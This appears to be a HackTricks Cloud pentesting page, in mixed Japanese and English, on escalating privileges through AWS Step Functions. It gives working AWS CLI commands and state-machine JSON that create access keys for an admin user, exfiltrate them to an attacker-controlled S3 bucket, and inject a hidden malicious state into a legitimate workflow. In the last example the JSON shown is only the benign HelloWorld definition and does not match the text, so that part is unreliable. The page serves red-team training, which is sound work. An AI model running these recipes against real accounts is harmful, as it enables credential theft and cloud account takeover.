AWS - Step Functions Privesc
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Step Functions
この AWS サービスの詳細については、次を参照してください:
タスクリソース
These privilege escalation techniques are going to require to use some AWS Step Functions リソース in order to perform the desired privilege escalation actions.
利用可能なすべてのアクションを確認するには、自分の AWS アカウントにログインして使用したいアクションを選択し、そのアクションが使用しているパラメータを確認してください。例:

あるいは、API の AWS ドキュメントを参照して各アクションのドキュメントを確認することもできます:
states:TestState & iam:PassRole
An attacker with the states:TestState & iam:PassRole permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, potentially enabling unauthorized access to other AWS services with the roles’ permissions. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
以下の例は、これらの権限と AWS 環境の許容的なロールを利用して admin ユーザーのアクセスキーを作成する state をテストする方法を示します。 この許容的なロールには、state が iam:CreateAccessKey アクションを実行できるようにする任意の高権限ポリシー(例えば arn:aws:iam::aws:policy/AdministratorAccess)が関連付けられている必要があります:
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Command privesc を行うために実行されたコマンド:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
潜在的影響: ワークフローの不正な実行や操作、機密リソースへのアクセスを引き起こし、重大なセキュリティ侵害につながる可能性があります。
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
states:CreateStateMachineとiam:PassRoleを持つ攻撃者は、ステートマシンを作成して任意の IAM ロールを割り当てることで、そのロールの権限を使って他の AWS サービスへ不正にアクセスできるようになります。前の privesc 技法(states:TestState と iam:PassRole)とは異なり、こちらは単体では実行されないため、ステートマシンを実行するには states:StartExecution または states:StartSyncExecution の権限が必要です(states:StartSyncExecution は 標準ワークフローでは利用できず、Express ステートマシン専用です)。
# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
以下の例は、ステートマシンを作成して、admin ユーザーのアクセスキーを作成し、そのアクセスキーを攻撃者が管理する S3 バケットへ exfiltrates する方法を示しています。これには、これらの権限と AWS 環境の許容的なロールを利用します。
この許容的なロールには、ステートマシンが iam:CreateAccessKey および s3:putObject のアクションを実行できるようにする高権限ポリシー(例: arn:aws:iam::aws:policy/AdministratorAccess)が紐付いている必要があります。
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Command を実行して state machine を作成する:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- コマンド — 先に作成したステートマシンの実行を開始するために実行される:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
Warning
攻撃者が管理する S3 バケットは、被害者アカウントからの s3:PutObject アクションを受け入れる権限を持っている必要があります。
潜在的な影響: ワークフローの不正実行や操作、機密リソースへのアクセスを引き起こし、重大なセキュリティ侵害につながる可能性があります。
states:UpdateStateMachine & (常に必要なわけではない) iam:PassRole
攻撃者が states:UpdateStateMachine 権限を持っていると、ステートマシンの定義を変更でき、特権昇格につながるような追加の隠れたステートを組み込むことができます。こうして、正規のユーザがステートマシンの実行を開始すると、この新しい悪意のある隠れたステートが実行され、特権昇格が成功します。
ステートマシンに紐付けられた IAM Role の権限の範囲によって、攻撃者は次の2つの状況のいずれかに直面します:
- 権限が広い IAM Role: ステートマシンに紐付けられた IAM Role が既に権限を広く持っている場合(例えば
arn:aws:iam::aws:policy/AdministratorAccessポリシーがアタッチされているなど)、特権昇格のためにiam:PassRole権限は不要です。IAM Role を更新する必要がなく、ステートマシンの定義を変更するだけで十分だからです。 - 権限が制限された IAM Role: 前述のケースと対照的に、ここでは攻撃者は
iam:PassRole権限も必要になります。ステートマシンの定義を変更するだけでなく、許可の広い IAM Role をステートマシンに割り当てる必要があるためです。
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
以下の例は、HelloWorld Lambda 関数を呼び出すだけの正規のステートマシンを更新して、ユーザー unprivilegedUser を administrator IAM Group に追加する追加のステートを挿入する方法を示しています。こうすることで、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のある隠れたステートが実行され、権限昇格が成功します。
Warning
ステートマシンに許容的な IAM Role が関連付けられていない場合、許容的な IAM Role を関連付けるために IAM Role を更新する際に iam:PassRole 権限も必要になります(例えば arn:aws:iam::aws:policy/AdministratorAccess ポリシーがアタッチされたもの)。
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- コマンド が 正規の state machine を 更新 するために実行された:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
潜在的な影響: ワークフローの不正な実行および操作や機密リソースへのアクセスにより、重大なセキュリティ侵害につながる可能性があります。
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

